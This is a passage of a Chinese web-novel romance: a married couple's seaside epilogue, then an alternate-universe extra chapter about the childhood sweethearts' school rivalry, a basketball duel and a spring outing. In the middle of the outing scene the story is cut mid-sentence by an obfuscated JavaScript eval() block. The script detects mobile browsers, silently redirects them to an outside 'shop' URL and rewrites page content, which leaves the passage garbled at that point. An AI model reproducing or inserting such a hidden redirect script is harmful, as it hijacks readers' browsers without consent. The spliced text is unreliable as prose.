傅珺瑶忍不住破出声笑,胸腔本能发力,又鼓出几声笑,可这笑里不知怎的,也带了几分酸,酸得她眼角发疼,酸得她想狠狠咬他一口。 明明次次被他精准戳中,她该好好防御才是。 可就因为面对的人是他,她总是无力防御,也不想防御。 他是她的另一半,是她的爱人,是她的丈夫,是她的老公,是她亲自选中的家人。 傅珺瑶抱紧他,舒舒服服靠在他胸膛,光热挥洒,海浪揉杂,一切的一切,都是那么好。 他们在那棵树下乘凉。 傅珺瑶靠在沈述白肩口,延续了他刚才的话题:“你说……五十年后,我们会是怎样呢?” 这个问题出口,沈述白并没有很快回答。 傅珺瑶又说的更具体了些:“五十年后,我们会成为什么样的人?我们会拥有什么?我们的心态又会变成什么样?我们的感情会像现在一样吗?还是比现在更好?又或者已经没有了现在的激情?再或者两相生厌?” 傅珺瑶也不是什么悲观主义者,只是遥远的宏大叙事下,她也学来了他的那套‘哲学思想’。 这一次,沈述白倒是回答的极其迅速。 他温柔的嗓音嵌入柔和的海浪,被太阳叠进的暖热的温度,悠悠入耳:“五十年后会是怎样,其实我也不知道,未来的事,没有人会说得准。” 傅珺瑶一愣。 他的声音还在继续:“珺珺,其实未来的事我们不必过早去担忧、纠结,只要现在的每一步路都是我们互相扶持、互相参谋选定的最优解,未来肯定不会差到哪。” 他稍稍顿停,再继续:“就算偶尔做了几个不太满意的决策也不要紧,我们依然是能托起彼此的人,真选错了路,大不了就在错路上开个支路,重新回到理想的路上就好了。” 傅珺瑶坐直身子,从他的肩口撤离,望向他的眸光里多了几分认真。 男人也挺直背脊,目光定定回望她,语气里多了几分郑重:“如果你想要一个确切的答案,我想五十年后,我们会成为我们想成为的人,拥有我们想拥有的一切,心态会变成能支撑我们轻易扛住难题、能想透难思、能解决难题。” 他再度停下,那只戴着婚戒的手缓缓牵起她戴着婚戒的手:“至于感情,感情本就时时刻刻都在变化,前二十多年我们之间的变化就已经够多,五十年,我实在拿捏不准。我的确没有确切的答案给你,只是我相信你,我也相信我自己,那个诱人的答案,不如就等到五十年后,我们再细细谈过,好不好?” 最后那句话出口,傅珺瑶眼角好似被狠狠灼了一下,有些压制不住,要往外掉眼泪。 她忽然忆起,当初在那个房间里,还是江阔的他让她保证永远做他老婆时,她心底的那些想法。 她当初的想法是,自己应该不会对他没了新鲜感,只要新鲜感在,她应该也不会不爱他。 现在这个想法要变了。 她甚至很笃定:他们精神契合,他们思想共鸣,精神桥梁一旦连接,共鸣便永垂不朽,不需要新鲜感,她就会爱他。 男人的身影在眼前有些模糊,她看不清他的神色,在那片模糊清晰前,主动撞进他怀中。 他肩口的衣角留下一块湿迹。 “好!”她大声回应:“那个诱人的答案,我和你就等到五十年后,再细细谈过!” 一声低笑入耳,背脊在男人掌中得了好些温热。 海浪和热风裹着声低语滑进耳道,傅珺瑶心脏往胸壁一撞,转瞬冒出无数甜丝。 她仰头,嘴唇贴近男人耳边,吻在那颗黑色耳钉,趁着风浪刮过,她也迅速说出那句话。 很快,男人脸上的笑意不止。 他们抱在一块,迟迟没有松开的意思。 “珺珺,我爱你。” “我也爱你,述述。” 89. 番外6 背景:无苏津南,傅沈两家交好,傅珺瑶和沈述白纯正青梅竹马 - 初春三月,淮北的早樱满城开放,正是踏春好时节。 课间,傅珺瑶正拿着本化学习题册练沉淀溶解平衡专题。 顾清漪带着接好的水杯一路冲回来:“珺珺!” 傅珺瑶猛地一颤,思路中断,放了手里的笔。 “怎么啦?” 顾清漪抓着她的手不住抖动,眼底藏不住的兴奋:“刚刚我碰到郑霖,他邀请我周末去踏青,你陪我一起去好不好?” 傅珺瑶挑挑眉:“踏青?” 郑霖是高她们一届的学长,成绩出众、长相也出众,异性缘还不错,也不是纯书呆子,除了家境普通一点,看上去倒是没有缺点。 顾清漪跟他是在学生会认识的,傅珺瑶也是从顾清漪口中得知,她和郑霖的第一次见面,郑霖就帮她做了很多事,性格温柔,对她非常体贴,偶尔课间还会过来给她送点吃的。 傅珺瑶只和他简单打过几次照面,对他的印象算不上好,也谈不上坏。 不过顾清漪对他感兴趣,她也只能帮着参考参考。 “就你们俩?”傅珺瑶问。 “不是,他说他要带朋友,所以让我也带几个朋友,踏青露营,人多才热闹嘛。” 傅珺瑶沉默两秒,语气带着试探的意思:“你确定要跟不熟的人去露营?” “他说想跟我共享朋友圈嘛,不熟接触接触不就熟了?说不定这次过后,就有谱了呢?” 傅珺瑶明白她的意思,她这人一向洒脱,想要就去追,至于横在他们之间的阻隔,那都是遥远的未来的事。 “那……叫上路婧她们?还有沈述白和许远舟?”傅珺瑶还是由着她。 “许远舟就不要了。”顾清漪想也没想拒绝:“沈述白也不行,他和许远舟关系好,他在许远舟肯定也跟着一起。” 她不要许远舟,傅珺瑶也不多问,点了点头:“行。” 话音刚落,教室门口一阵动静,傅珺瑶往那边瞥了眼,不偏不倚对上那双有点欠揍的眸子。 沈述白嘴唇轻勾,朝她挑挑眉,回到傅珺瑶前面的他的座位。 “这样单侧笑多了嘴容易长歪,沈少爷想当歪嘴战神吗?”傅珺瑶冷冷睨他眼,语气漫不经心,却藏着点不易察觉的不爽。 沈述白转过身,两只胳膊搭在她桌前,故意压着她的习题册。 “还在生气呢?这么快就开始刷题了?不就是化学没和我一样考到满分吗,不就是总分比我低一分考了第二吗?没关系的,还有机会,生气生多了乳腺结节还气血不畅。”他话里听似关心,面上却嬉皮笑脸,完全挑衅的模样。 顿停两秒,他又补充完后半句:“傅同学别把自己气成火球,我就坐你前边,烧到我就不好了。” 身侧的顾清漪悄摸瞥过两人,自觉往旁边撤离,绝不掺和。 “……”傅珺瑶瞪他眼,把习题册狠狠抽回来,盯着他耳朵上那颗才戴上没多久的黑色耳钉,嘴边扯出假笑:“沈同学说的哪里的话,你已经够烧了,我的火势再怎么大也烧不过你的。” “……”沈述白嘴角一抽。 顾清漪在一边没忍住发出声低笑。 傅珺瑶视而不见,佯佯惊呼一声,像是突然想到什么:“哦我才发现,这是沈同学化学第一次考满分,那是得得意一下的,毕竟下次就不知道什么时候才能再考满分了。” “……” 傅珺瑶一副善解人意的模样继续:“我理解,每次看着我考满分肯定很羡慕吧,看我拿了那么多次第一也很羡慕吧,我懂,我都懂。” “你……”沈述白话没说出口,上课铃响起,任课老师也进了教室。 傅珺瑶朝他晃晃脑,学着他的模样挑眉。 沈述白挤了挤唇,似乎想说点什么,最终还是没能说出口,乖乖转身上课。 下课铃一响,教室里一阵哄闹,化学老师很体贴没耽搁,很快下令:“下课吧。” 她们这是最后一节课,私立学校并不强制晚自习,想放学的现在能走,想再多学会的学校也有人值守。 傅珺瑶和顾清漪没有上晚自习的习惯。 两人底子本就不差,傅珺瑶是觉得,当天放学前能把知识消化了,就没必要再浪费时间去刷题,时刻紧绷着自己也不见得会考好,劳逸结合才是最重要的。 顾清漪就更别提,她也不争第一,况且回了家,周女士和顾先生还给她请了私教,严格奉行绝不松散的精英教育,家里就她一个孩子,也没人帮她求情,她只能在学校对自己进行快乐教育了。 “珺珺,你今天有人接吗?咱们要不去买点吃的再回去?”顾清漪问。 傅珺瑶收拾好桌上的课本,抄起外套:“我哥今天来接我,今晚家庭聚餐。” 说完,她斜了眼同样收好东西准备走的沈述白。 她啧了声:“也挺不好的,这回了家还得见不想见的人。” 沈述白闻声轻笑,跟着她们出了教室。 他伸手揪了下傅珺瑶扎在脑后的低马尾,又帮她把后边折进去的领口翻平:“那怎么办?你天天都得见我。” 傅珺瑶习以为常,轻嗤了声:“我今晚就回去苏阿姨和沈奶奶提建议,干脆让你跟林逸深一样去国外留学,这样我就不用见到你了。” 沈述白身形顿了顿,语气突然沉下来,“怎么,林逸深才走多久,你就想他了?” 傅珺瑶嫌弃睨他眼,嘴上毫不客气:“你有病吧?” “他不是自诩和你是多年的青梅竹马,情比金坚么?” 傅珺瑶耸耸肩:“我跟谁不是青梅竹马?许远舟、陈祎、林逸深,说来说去大家都是,我跟你还是青梅竹马呢,如果是个青梅竹马就情比金坚,那我还是个多情人?” “其实严格意义上来说我们这些都是发小。”顾清漪开口纠正,“两小无猜的才叫青梅竹马,比如你俩。” “……” “……” 两人脚步同时停下。 不远处,夕阳余晖穿过身侧的树荫,结结实实落在脚边。 少女少男眸珠相对,黑眸半眯,透着几分明晃晃的嫌弃,褐眸微垂,看不出认同,也判不出反对。 几秒的沉默后,两人几乎同时转动脖颈,下巴侧撇。 傅珺瑶继续挽着顾清漪往前走:“谁跟他两小无猜?我可猜不透闷骚怪心里想什么。” 沈述白大步追上来,同样反驳:“是啊,我也理解不了鼓气包心里想什么。” “谁鼓气了?我生你气了吗?就你还值得我生气?” “那你说我怎么闷骚了?我哪里闷骚了?” “你看看你那颗耳钉,谁戴耳钉戴单耳?这不就是闷骚吗?” “那是谁成绩一出来就不理我?还把我买的红茶牛乳给了别人?刚刚还阴阳我,你明明就生气了。” “我不想理你我就不理,谁规定我非得理你了?我不想喝红茶牛乳不想浪费还不能送给别人?我阴阳你?明明是你先来招惹我的!” 顾清漪早已习惯这种场面,只顾看戏,绝不参与。 两人一路拌嘴走到校门口,傅珺瑶看着顾清漪上了车,又跟车里的顾伯伯打了招呼。 顾清漪走之后,她才看到傅淮湛的车,刚想甩掉沈述白,下一秒傅淮湛便下车,说沈千仪交代过他,让他把沈述白一起接回去。 “他一起?”傅珺瑶出声抗议:“果然这人倒霉起来就是霉事不断。” “什么倒霉?哪一次不是这样?明明每次聚餐都是一起回去的。”沈述白主动往里坐。 傅淮湛知道他俩都不喜欢坐副驾,把车里温着的牛乳茶递过来。 “你们这次又因为什么闹矛盾了?” 沈述白接过来,拧开瓶盖后送到傅珺瑶面前。 “没闹矛盾,就情绪上来了拌两句嘴。” 傅珺瑶轻嗤了声,踢了他一脚,接过温热的牛乳茶。 傅淮湛见怪不怪,启动车辆。 黑色迈巴赫驶入拥挤的车流,平稳朝着别墅方向开。 粉紫色的晚霞裹入云层,天幕像是被滴了滴墨水,隐隐发黑。 “你们俩周末有没有安排?我几个朋友约着去踏青露营,你们要不要跟着一起热闹热闹?” “好……” “有安排了,周末我跟清漪约了人出去。” 沈述白的好字还没彻底说出口,傅珺瑶便抢了先机。 沈述白怔怔望过来,问她们去哪。 傅珺瑶重新拧好瓶盖,把牛乳放在一边,考虑到他和许远舟的关系,没明说:“就她在学生会的一个朋友组的局,位置还没定。” “学生会?”沈述白深深看了她眼:“你不是最不喜欢跟那群人打交道吗?” 傅珺瑶避开他的视线,直接望向窗外,很快敷衍过去:“偶尔有点交集也没什么。” - 这次聚餐是在傅宅,傅臣东请了私厨上门,菜品根据他们一家人的口味量身定制,傅珺瑶吃得很满意。 桌上话题大多关乎恒璟和启行,偶尔提及几个小辈。 傅臣东视线转向几个孩子:“咱们家这几个孩子个个聪明,以后肯定是比我们这辈人强多了。咱们家珺珺也是难得的独苗,咱们恒璟以后也总算能多个女高层了。” 他身侧的沈千仪也看过来,面露喜色:“是啊,我前段日子跟赵主任她们吃饭,还听说珺珺在学校表现非常出彩,上次奥赛还拿奖了吧?” 傅珺瑶礼貌笑笑,完全不怯场,语气不卑不亢:“是拿了奖,不过还有下一次呢,我也不能松懈,还得继续努力才是。” 李茗蕤和傅臣北都望着女儿,满眼骄傲。 “家里的这几个孩子都长大了,珺珺和述白两个最小的也都大了,我看咱们几个老头老太也能退休了。”安董在一边感慨。 话题又慢慢牵回大人身上。 这种场面往往是傅淮湛和沈行之留下,傅珺瑶和沈述白被给特权,准许先下餐桌。 沈述白轻车熟路跟着傅珺瑶进房间。 “你就不能去别的房间?每次进我房间你觉得合适吗?”傅珺瑶扔了外套,往小沙发一躺。 沈述白也来过很多回,在小圆桌的另一侧沙发躺下,丝毫没觉得不妥。 “有什么不合适的?我妈说我们俩小时候还睡一张床。” 傅珺瑶翻开手机刷热点,剜他一眼,往他腿上一蹬:“老样子,给我拉首曲听听。” 傅珺瑶房间放着副小提琴,是小学那会沈述白要学,她也来了兴致跟着买了小提琴,沈千仪干脆把老师请到家里来教,方便两人一起学。 不过傅珺瑶属于学会了就懒得再碰的人,自己想听了就让沈述白拉。她更喜欢钢琴曲,只是钢琴在琴房,离她房间太远,她也不想走。 沈述白轻叹了声起身,抄起她那副小提琴:“你这琴每次都是我来拉,没落灰全靠我,学了你不练不是白学了?” 傅珺瑶手里动作没停,声音懒懒:“我不练又不代表我忘了。” 话说一半,她又想到什么,稍微侧脸,故意挑衅:“就像我闭着眼都能考你前面去。” 沈述白还没开始的手放了下来,明显不服:“那你这次闭眼是闭睡着了。” “你!” 傅珺瑶扔下手机,背脊蹭的一下挺直,双眸瞪圆。 不过转瞬,眼睑又陡然一松,她故意抬下巴,喉间溢出声长吟,话语满含挑衅:“沈少爷这是不服啊,那怎么办,以后你不服的时候还多着呢。” 沈述白“嘁”了声,“你少一副笃定的样子,上次打球你也说会赢我,不还是差了我一个三分球?” 话音刚落,傅珺瑶猛地起身,追短和他之间的距离,把他的气息扯入鼻间。 她抬高声音:“你想再比划比划是吧?行啊,现在就去篮球场,我今天让你一个三分都进不了!” “我进不了三分?”沈述白扔下手里的小提琴,撅嘴点着下巴:“我今晚让你连篮筐都看不到!” 两人火速下楼,路经餐厅,几个长辈注意力被急促的脚步声吸引。 李茗蕤稍微诧异,问两人去哪。 傅珺瑶和沈述白同时转头:“去篮球场!” 带着几分气焰的声音入耳,几位长辈的笑容都有些僵,隐隐透着担忧。 傅淮湛很快起身:“奶奶、爷爷,我陪他俩一起去,你们继续,不用担心。” 傅臣北不忘嘱咐:“照顾着点他们啊。” - 偌大的私人体育场内,傅淮湛坐在线外当裁判,稍稍无奈地看着两人切磋球技。 傅珺瑶和沈述白一向攻防单挑,喜欢打半场,人多打全场的时候,他俩又喜欢当队友。 通俗点来讲,就是单挑非要争个高下,团队都不舍得扔下对方的好球技。 毕竟当初学篮球两人也是一起跟傅淮湛学的。 傅珺瑶脱了外套扔给傅淮湛,里头一身干净的白色T恤,下面套了条灰色休闲裤。 球夹在臂弯,站在三分线外:“直接高强度版,我先进攻,线内球算1分,线外球算2分,没投进再换攻守,谁先拿到11分就算谁赢。” 沈述白也脱了外套,露出里头简单利索的黑色常服,稍微弓腰做出防守姿态,眉眼微抬,无声应她。 一边的傅淮湛确认好之后帮两人倒计时。 “开始!” 空旷的篮球场内很快回荡着互不相让的脚步声,篮球干脆落地,又强力回弹,傅珺瑶目标明确,直冲上前,奔着篮筐去。 沈述白反应迅速,始终挡在她身前,眼睛只盯着她腰腹。 “砰、砰、砰” 傅珺瑶进不可攻,迅速一个转身,绕开他的防守,全力前冲,直接上篮。 球落下的那一瞬她再次接中,眼疾手快,再次进球,领先两分。 球再次回到手里,傅珺瑶想要再次进攻,沈述白身体一横,半个身位贴上来,肩膀一顶,第三次进球失败。 攻守换权。 沈述白和傅珺瑶的路数不一样,他一开始就选择投三分。 他的三分球一贯精准,这一次也不例外,一击即中,很快追平得分。 他继续进攻。 几番不相上下的攻守,两人都忍不住喘气,脸颊也蒙了层薄汗。 已经到了赛点。 9比9。 傅珺瑶成了攻方,只要她投进一个三分球就赢了。 只是她的三分球不是次次精准。 她盯着前方的人,背过手抹掉下巴的汗,眸珠又转向篮筐。 “珺珺,你再投进个三分就赢了!加油啊珺珺!”傅淮湛在一边打气。 沈述白的视线也始终停在她手上,唇角轻挑,似乎并不觉得自己会输。 傅珺瑶眸子从他嘴角的弧度收回来,掠过他的黑色耳钉,冲步上前,直奔球筐,迅速进球。 球体落下她依旧成功接住球再次进篮。 身后的沈述白慢了一步,防守失败。 傅珺瑶转身,对他长舒口气,高扬下巴,眉头挑起:“我就说了我会赢你。” 傅淮湛给两人递来毛巾,“珺珺,你刚刚进个三分多漂亮啊,不过连进两球也赢了。” “她就是不敢打三分。”沈述白跟过来哂笑:“毕竟没投进就是我赢了。” 傅珺瑶在他小腿侧踢了脚:“谁不敢?我那叫策略!” “什么策略,就是三分球不能百发百中呗,还得多练练。” “不能百发百中我也赢了,你百发百中照样输!” “我下次让你输的跪下来喊哥哥!” “我下次让你破了百发百中的战绩再爬到我面前叫姑奶奶!” 眼看着两人又要吵起来,傅淮湛赶快阻止:“行了行了行了,刚运动完生气不好,出去买水。” 傅珺瑶斜了沈述白一眼:“我想吃雪糕。” “这才三月份你吃什么雪糕?运动完吃冰的容易猝死。”沈述白冷哧哧道。 “嘶我运动完就想吃点东西怎么着你了?” “我也没说不让你吃,那吃雪糕就不好。” “好了好了好了。”傅淮湛再度发声:“我带你俩去财大小吃街,这样总行了吧?” 烟火气缭绕的小吃街各大摊位的生意火热,傅珺瑶也很久没来了。 虽说吃过晚饭,可刚刚那么一消耗这会也确实饿。 “我去买肉蛋堡,你去买烤冷面。”傅珺瑶推搡沈述白的胳膊。 又转身拍了拍傅淮湛:“哥你去买奶香玉米汁,还有小酥肉。” 十分钟后,沈述白手里拎着一大堆食物,傅珺瑶只端着烤冷面兴冲冲往嘴里送。 “我就知道你不会真的只买说的那些。”沈述白抿了口玉米汁,手里车仔糕、鸡蛋仔、小酥肉、炸蘑菇、小鸡腿、肉蛋堡、小羊排勒的他手都有些疼。 语气却不带半点责备的意思。 傅珺瑶也不回答,烤冷面吃了两段,把剩下的递给他:“你来,别浪费食物。” 擦了擦嘴,又戳了两块小酥肉给傅淮湛,自己吃了两口,最后喂到沈述白嘴边:“赏你的,张嘴。” 沈述白应声吃下去,“再来一块。” “你先把烤冷面吃完,咱们得做减法赶紧把垃圾扔掉。” “我吃着呢,你再喂一块给我。” “玉米汁给我喝一口。” “你帮我擦下嘴,我都没手了。” …… …… - 隔天,傅珺瑶才坐下来,顾清漪就说下课要去找郑霖,想让她陪着一起。 “行,一会大课间去。” 傅珺瑶刚应声,沈述白带着三个水杯回来,先递给傅珺瑶,再给顾清漪,把自己的水杯放回去之后又转过身:“去哪?” “去外星。”傅珺瑶掀眸睨他眼,语气淡淡。 “那我得一起去啊。” “跟你有什么关系?我们俩私人空间你别掺和进来行吗?” “我们不是一个team吗?都好久没约饭了,刚刚走廊碰到远舟还说周末想约着去东湖骑车看樱花,而且我新买的富士镜头配好了,你们去不去?” “不去。”傅珺瑶很快拒绝。 沈述白才带点笑意的脸平下来,又往她跟前倾了倾身:“怎么不去啊?你们周末到底跟谁约了?” “你问题咋就那么多?我们出去玩非得跟你报备?” “我哪让你报备了,你藏着掖着万一到时候出点事我姑姑可得找我麻烦。” 两人东拉西扯话语停不下来,顾清漪及时出声阻止。 她解释:“不会出事,是我朋友,你和许远舟去骑车就行了,我们下次再约。” 顾清漪解释完,上课铃响,话题终止在这里。 大课间的铃声一响,傅珺瑶和顾清漪二话不说从后门出去,直奔连廊。 郑霖和他一个朋友已经等在那。 “清漪!”郑霖看到两人,很快招手。 顾清漪笑笑:“这是珺瑶,我约了她还有路婧她们一起。” 郑霖一双视线牢牢落在顾清漪身上,眼底的雀跃几乎藏不住。 “好,这个是齐征,我同班同学。” “傅同学,久仰大名啊,我们班老师还在课上提起过你。”相比于郑霖的柔和,齐征要轻散的多,而且注意力不比郑霖,几乎全在傅珺瑶身上。 傅珺瑶扯了扯唇,只平淡应:“你好。” “清漪,我们是想先去绿道骑车看樱花,然后去玩索道,最后去湖边野餐,你觉得怎样?” “可以啊,吃的怎么负责,你来?” 几人聚在一块说话,完全没注意到不远处的墙柱后,沈述白和许远舟一前一后猫着腰偷看。 “怎么又是他?这人真没完没了缠着清漪了是吧!”许远舟语气愤愤。 沈述白睨了眼站在傅珺瑶对面满脸痞笑的男生,回头:“你认识?” “这学生会的副主席,名声在外,清漪对他有兴趣,但我听说他异性缘可好的不得了,还一点分寸都没有,和谁都玩暧昧,不过对谁都不主动,这回对清漪主动,我看啊,就是看中她的身世了。” 虽说他们这些人在学校平日都还算低调,可人的八卦心总是最强的,这哪个学生的家长是干什么的、家里有什么背景,早就传了无数次。 “那个男的是谁?没见过。”沈述白问。 许远舟也不认识:“应该是郑霖的朋友吧,没准还在追珺瑶。” 闻言,沈述白猛地站直,一双眉头稍微内蹙,眸光汇集,隔着十几米的距离细细凝着那人。 “就他?笑的这么没礼貌,珺珺怎么可能喜欢这样的人?” “没准就是接触了好多次才这样。” 沈述白双神一愣。 - 傅珺瑶和顾清漪回了教室,沈述白难得趴在自己桌上,手里的笔触专注滑动,连带着那颗黑色耳钉的光芒也收敛几分。 傅珺瑶眸光不慌不忙扫过他,鼻腔挤出很轻的一声哼笑,很快坐下来。 手里的习题册才翻页,前面的人突然转身,眉头微蹙,颊侧的腮帮子鼓动,像是憋着满肚子话要讲,可真看过来,他又半天不冒出一点声音。 “干嘛?”傅珺瑶手上动作一顿,眼珠上下扫动,眸光不解。 “你……” 刚吐出一个字,他的喉结动了动,后面的话堵在那里。 “我怎么了?”傅珺瑶更疑惑。 好像第一次见他这副模样。 “……” 他还是沉默。 喉结滚动几次,最终还是没说出口。 视线下移,瞄准她手腕上的黑色发圈。 这是傅珺瑶的习惯,绑头发用一个发圈,手上还会戴一个。 他一手托着她的手,另一只手扯下她的发圈,语气闷闷:“没什么。” 又转了回去。 “……” 傅珺瑶盯着空荡荡的手腕,盯着他宽阔微躬的肩背几秒,没急着把东西要回来。 后面几天,傅珺瑶和顾清漪也去见了几次郑霖和齐征。 郑霖倒是态度如旧,对顾清漪也算得上体贴。齐征也几次想和傅珺瑶套近乎,要么被顾清漪拉过注意力,要么被傅珺瑶的冷淡态度隔绝。 周六一早,傅珺瑶换了身浅灰色运动装,包里背了瓶水,戴了墨镜,拿上手机就准备出门。 她还把傅淮湛的徕卡借来了。 顾清漪和路婧在院子里等她。 “珺珺!” “跟他们直接目的地见?”傅珺瑶问。 “不是,”顾清漪和路婧对视眼:“郑霖他们租了车,在院子门口等着呢。” 傅珺瑶点点头,和顾清漪她们往外走。 郑霖租了辆七座车,开车的是他表哥。 傅珺瑶、顾清漪和路婧三个女生,剩下的都是男生。 傅珺瑶跟路婧在前面两个可折叠的单人座位坐下,后面留给郑霖和顾清漪。 刚坐稳,她身后的齐征已经靠上来,直勾勾盯着她怀里的徕卡。 “不愧是傅大小姐啊,出门带这么夯的相机。” 傅珺瑶架着的墨镜没摘,这话才出口的那瞬,藏在底下的眉眼皱了皱。 她没接话,把挂在脖颈的相机取下来,顺势收进包里。 齐征却还不死心:“珺瑶,我刚刚看到你带手机了,正好咱俩加个微信呗!” 这种突兀刺破边界的行为傅珺瑶很反感,心底已经开始抵触:“手机没电。” “别啊,这样,我带了充电宝,反正大家都答应出来玩了,都是朋友。” “我们今天不是去骑车看樱花吗?怎么变交朋友了?”一旁路婧应声,笑的满脸无辜。 “……”齐征语塞。 郑霖出来圆场:“是啊,咱们今天就是去踏青,大家现在先休息会,等会才有力气骑车。” 一声窸窣的响动,像是有人被踢了一脚,傅珺瑶身后的人没了动静。 她也索性闭眼休息。 顾清漪和郑霖小声聊着天,她静静听着,没掺和进去。 就目前看来,郑霖倒是没什么大问题。 只是和他交好的这个齐征…… 物以类聚、人以群分,傅珺瑶还是有些担心。 不过这担心很快被车窗外的阳光抹去。 初春的太阳带着些暖意,光线尽数搭在脸上,清风从半降的车窗内送进来,傅珺瑶深吸了口气,好不清爽。 以往这个时候,她没准和沈述白口中的team一起,去周边城市玩特色,或者干脆请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397543|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假,沈千仪和傅臣东会带着她和沈述白出国,沈千仪和傅臣东是去忙工作,她和沈述白就是去长见识的。 傅珺瑶嘴角无声勾了勾。 不过两秒,又慢慢平下来。 说起来这周沈述白整个人都怪怪的,和顾清漪完全是两面。 顾清漪每天都兴致盎然盼着今天,沈述白却蔫蔫的,也不像上周那样欠欠的,更没怎么跟她拌嘴。 嘶…… 她还真有点不习惯。 闷骚怪是想转性了? 那也太没意思了。 而且不应该啊,他不该清楚她怎么想的吗?他不该知道她喜欢什么样的吗? 这样转变,是心思变了? 傅珺瑶突然坐直。 “怎么了,珺珺?”顾清漪和郑霖的聊天中止,很快注意到她。 傅珺瑶利索“哦”了声:“没事,换个姿势喝水。” 她象征性抿了口水,思绪正欲回返,车却停了下来。 已经到了。 绿道两侧摆满了共享单车,顾清漪和郑霖扫了两辆,郑霖的表哥和另一个男生扫了两辆,路婧和傅珺瑶往另一侧走了两步,齐征也很快冲上来。 “珺瑶,你扫这辆,这辆车座更舒服。”齐征拍了拍自己面前的车座道。 傅珺瑶继续手里的动作,锁已经开了:“不用,都一样。” 她推着车往后撤,背后莫名一凉,傅珺瑶猛然转身。 然而回头之后,面前人群拥挤,来回窜行,也没有人看着她。 傅珺瑶狐疑瞥向对侧那棵粗壮的大树,树叶簌簌,光影被风吹散又凝聚,并无异常。 “珺珺,看什么呢?走啦。”路婧勾了勾她的手。 傅珺瑶骤然回神,轻应了声,跟着前面的人走了。 七个人同时出发,顾清漪和郑霖在最前面,郑霖表哥和另一个男生在中间,傅珺瑶和路婧在最后,齐征挤进来,和她们一块。 距离她们十几米远的后方,沈述白和许远舟从大树后面出来,迅速扫了两辆车。 绿道几乎挤满了人,金澄澄的太阳肆无忌惮的洒下来铺满中央的整个湖面,湖浪翻涌,一缕接着一缕碎钻奔涌。 绿道两侧的水杉还没从隆冬缓过劲,枯枝还没蜕成绿叶,两侧湖边的草地黄绿交加,被太阳一烤,隐隐散着干草香。 傅珺瑶很喜欢运动,也喜欢接触自然。 在她们那个家族圈子里,她总是需要端着自己,学规矩、参人情,得做个合格的“傅小姐”,可她偶尔也想只做傅珺瑶,不受规矩约束、不被人情圈住的傅珺瑶。 “珺珺,咱们一会去樱园拍照,你带的是你哥的相机吧,我老早就听说你哥特会买相机,镜头配的全都是专业型的。”路婧朝她扬扬下巴。 傅珺瑶爽快道:“没问题,我一会给你拍。” 两人话才聊开,后面的齐征很快追上来。 “珺瑶,一会你教教我怎么拍呗,我给你们俩拍啊?” 傅珺瑶目不斜视望着前边,嘴角收敛几分:“等先到那边再说吧。” 齐征还没死心:“珺瑶,哎你们是不是不会参加高考啊?到时候应该直接出国留学吧?” 傅珺瑶蹙蹙眉,头难得往他那侧撇了撇,不答反问:“你和郑霖打算出国么?” 齐征眼底一喜,“我们哪有那条件,家里能支持上私立学校已经很好了,去含金量高点的国家一年二十万打底,动辄三四十万都少了。” 傅珺瑶沉默两秒,又看向不远处前方那两个有说有笑的背影。 她脸上的笑完全收敛凝固,状似不经意问:“那如果有机会,你们应该会想出去吧?” 齐征唇边的笑凝了一瞬,又很快泻开:“我们哪有什么机会啊,这都是以后的事了。” 隔着墨镜,傅珺瑶细细审视了圈面前这个人,转头,再看回顾清漪和郑霖,嘴唇紧抿。 “说什么呢,有那么好笑?珺珺到底在干嘛?” 隔着数十人的背后,沈述白视线一刻不离靠近的傅珺瑶和齐征。 身侧的许远舟没心思应他,直着背去看顾清漪,还是看不清。 行人越来越拥挤,骑行的车辆稍微慢一点就要撞上,沈述白和许远舟也没太多精力去专注看前面的人。 好在几个人在半道停下来—— 顾清漪和郑霖站在右侧那块空荡荡的草地,郑霖很快拿了餐布出来铺好,朝着身后的人招了招手。 “傅同学、路同学,停车过来坐下吧!” 傅珺瑶和路婧把车停在树边,傅珺瑶突然朝后边看了眼,左手抬着墨镜,黑眸扫视一圈后,什么都没看到。 “看什么呢?”路婧凑到她身边,循着她的视线看过去。 傅珺瑶放下墨镜,单手拎着包,顺势挽过路婧:“没什么,过去坐。” 傅珺瑶先把自己带的点零食倒出来。 “哇!珺瑶,没想到你带了这么多吃的!咱们不是说好了零食就咱们男生带吗,女孩就好好享受好啦。”齐征瞄准她身边的位置坐下,语气稍稍上抬,开朗又热络。 傅珺瑶无意识蹙了蹙眉,唇角内收:“当时说的不是都带么?大家一起出来都出力不也是应该?” 她停了停,转头,朝齐征漫出声轻笑:“不过我可能确实见识浅薄,才知道原来带个吃的还得分女生男生。” 话音一出,齐征的面色明显一僵。 傅珺瑶收回视线,从那堆吃的里面拿了果冻一一分给在场的人。 齐征凑近,着急解释:“不是珺瑶,我没有说你见识浅薄,你别误会我。” 傅珺瑶没接话。 郑霖和他表哥带了点纸牌游戏,打算跟大家边玩边聊。 傅珺瑶也没有二话参与其中,借着游戏,她几次悄悄试探过郑霖。 “你们也快结束高中生活了吧?有特别想学的专业吗?” 齐征先跳出来回答:“有啊,我特想学金融!郑霖跟我一样,反正男生嘛,就该学学有前景的专业,没有上进心可不行!” 傅珺瑶浅哼,旁侧的路婧抿了抿唇,用手里的纸牌挡着上弯的嘴唇,下意识看了傅珺瑶一眼。 傅珺瑶又朝顾清漪递了个眼色过去,等着郑霖回答。 顾清漪抿唇侧眸,看过去的眼神里多了几分期待。 他的语气柔和,回答的也算中规中矩:“的确比较想学金融,只要足够努力,找份好工作也相对容易些。” 顾清漪松了口气。 傅珺瑶点头笑笑,又继续问:“金融确实挺不错的,不过前期投入也不少,经济压力、精神压力都比较重,况且光在国内读恐怕还不够,得去国外镀镀金啊?” 她的语气轻松,完全一副客观分析的模样。 齐征再次抢话:“能去国外自然是最好,不过也不能不考虑现实因素啊。你们呢,你们应该家里早就给规划好了吧?我都听说你们从初中部升过来的学弟学妹里,好几个都已经出国读书了,你们高中没去,大学肯定要去吧?” 